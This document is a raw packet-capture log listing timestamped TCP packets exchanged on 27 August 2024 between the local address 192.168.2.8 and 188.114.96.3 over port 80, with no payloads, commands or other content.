Aug 27, 2024 09:49:37.039832115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039844036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039848089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.039854050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.039881945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.040020943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040033102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040044069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040057898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040076971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.040107012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.040132046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040143967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040159941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.040185928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.040242910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.124905109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.124933004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.124947071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125020027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125031948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125042915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125055075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125082016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125092030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125104904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125114918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125140905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125150919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125206947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125262976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125291109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125299931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125329971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125488043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125499010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125530005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125543118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125595093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125622988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125647068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125658035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125669003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125683069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125694990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125710011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125766993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125778913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125794888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125812054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125812054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125829935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125931025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125942945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125953913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125967026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125979900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.125984907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.125998974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126010895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126012087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126023054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126035929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126072884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126101971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126121044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126132965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126143932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126162052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126235008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126245975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126255989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126276970 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126303911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126333952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126346111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126355886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126368046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126386881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126410961 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126527071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126538992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126549959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126563072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126575947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126585007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126588106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126599073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.126605988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.126622915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129223108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129235029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129245996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129281044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129306078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129308939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129322052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129333019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129344940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129404068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129430056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129586935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129601955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129614115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129642963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129751921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129843950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.129853010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129981041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.129992008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130002975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130012035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130019903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130038023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130096912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130114079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130125046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130135059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130136967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130147934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130158901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130162954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130187988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130846977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130897999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130906105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130909920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130985022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.130989075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.130996943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131046057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131048918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131061077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131071091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131083012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131094933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131095886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131134033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131225109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131237030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131252050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131263971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131264925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131294012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131421089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131429911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131437063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131448030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131460905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131473064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131486893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131500959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131525040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131556988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131712914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131724119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131735086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131766081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131784916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131799936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131810904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131822109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131834030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131846905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.131853104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.131953001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.132020950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132036924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132074118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132081985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.132086039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132097006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132111073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132122040 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.132181883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.132359028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132369041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132380009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132397890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132410049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132421970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132435083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.132457018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.132484913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.132499933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.179927111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.211817980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211833000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211843967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211914062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211925030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211935997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211936951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.211947918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.211961031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212033033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212053061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212255955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212328911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212338924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212368011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212378979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212408066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212434053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212449074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212459087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212472916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212486982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212492943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212511063 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212565899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212578058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212589025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212613106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212634087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212667942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212680101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212691069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212703943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212713957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212721109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212745905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212774992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212819099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212903976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212915897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212928057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212939024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212951899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212960005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212963104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.212974072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.212975025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213035107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213145971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213157892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213167906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213180065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213192940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213202953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213267088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213287115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213294029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213304996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213323116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213335037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213339090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213346004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213370085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213689089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213701010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213712931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213771105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213781118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213782072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213798046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213804007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213812113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213824034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213829041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213835955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213845968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.213849068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.213871956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216114998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216156006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216167927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216169119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216202974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216240883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216252089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216264009 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216276884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216288090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216345072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216633081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216645002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216677904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216686010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216758966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216763973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216778040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216809988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216813087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216820955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216831923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216849089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216860056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216861963 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216890097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216890097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216902971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216926098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.216968060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216979027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.216990948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217003107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217005014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.217031002 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.217837095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217880011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217890978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217895031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.217915058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217920065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.217976093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217988014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.217999935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218020916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218077898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218091011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218092918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218103886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218117952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218122959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218135118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218163967 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218185902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218199015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218225956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218249083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218255043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218261003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218334913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218347073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218353987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218358040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218373060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218384981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218400955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218427896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:37.218437910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:37.218481064 CEST	49715	80	192.168.2.8	188.114.96.3
